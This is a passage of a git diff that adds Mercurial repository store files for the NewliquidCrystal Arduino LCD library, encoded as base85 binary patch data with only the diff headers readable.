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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal___s_r___l_c_d3.cpp.i b/libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal___s_r___l_c_d3.cpp.i new file mode 100644 index 0000000000000000000000000000000000000000..23e53d26b0be4b0e3a72c06185496e0ed188e5e3 GIT binary patch literal 6275 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 BG>rfN literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/_r_e_a_d_m_e.md.i b/libraries/NewliquidCrystal/.hg/store/data/_r_e_a_d_m_e.md.i new file mode 100644 index 0000000000000000000000000000000000000000..1c69350a60b2880f296fd7d967a2967576167514 GIT binary patch literal 3248 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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/_s_i2_c_i_o.h.i b/libraries/NewliquidCrystal/.hg/store/data/_s_i2_c_i_o.h.i new file mode 100644 index 0000000000000000000000000000000000000000..0bbbf4841089198316b480e4ec4cc5f54d78dab9 GIT binary patch literal 1827 zcmV+;2i*7o0RRC20000000!d#02BZK00000006ZA|NsC0|NsB^vd&+`NK$U2+K5YQ zMTUXvxH=^O00000000000001ZoUK>yZ`(!^{jR@aF8$&JGG(VN8rX-zs+%+dn%J1k<(UVv~WKr{k3-5 zd$NwqsxFPrVC^YbGQm^hb>5T}8|1K1)jidXtF6~b9~jP=(Ol*Fgg#n+_4aGfRi+jt z-h9!%H9X5rscAlYeLlNLivCRUmUq@GU13K>3*}8pvkL&WaLU~y2vaR76q+v2-@W<% zhwlhZ*x>EgS~1q_EGuXqbO9w~k-7a;d9q3qT5R?hHsjYIeY&gCPs!c_iaXRHBV21*!aOOhxMKfa2d0!Au|q|Yy=hY_Cp#i5ItI^fwexUF)5{qhCr8Oq z_k(H>ucLR#F#QiHU-eIC%at-^f)wWk(@fP|IoN*=_-E&@xrnBKQdM+m($v_}z=4uC zb^Bt|$KP4Zqi;+OrgFN8X?OGfX7ml70n+dl%&N3(GEM&k(BZz;J}G`2?U?@S?bUpC z@sVB#NH0dC$*X^i=qxRj_xP_CJ~)*IF6y`fFEgk|;{{&&wM`L8E!Sp2aJKC88jJ!y z&MTj+GZg7O>hlX_U3LslmSCBwM4p2DWg#iLXnZoFSCi35B5PwI8vQw{n*~(pWP}JM zc6`oaQi>GC7lU)0Bh`Xy(ts?8cF|;Ts&m;R9T*P2C($Kh=`o=LdU-l(H`@wgXa8Ac zf>EXUgOeIXmg!rFXtEQ8C`o$|^WYi+Y&KPlC2B`-Qd!2z7rkwGhzoP$eCXbVLIv`W z*AjK7g$1gev5`hRMaTEz%wl;580+Q=%i&b$Na&(k$0*fI;>>VWJH1wh2nV!y_VM!5 zHMgB@2qF$BMYW2(#JocL+ugp+G2th0alf9U>1ai^{b5riKBo-86W136mvg zj_KmlHU1~i-K7bt{LDft4hx(ZT~g;c&dI0?Gk1ka3*o1-0pNg3FvRRYbn7NOLI~FW z+f=_n{3^UAulix1$!2*7bG~$Kj>xhEKQ^0>qg% zQo5!Br7{ymc3Y8nh=-qh4mjT)-{TR6*7QKexA@tQk}I_OC&3d5+fpag7=)wx}6hpi$HF_lGnmiUxm(`%EL-3JO 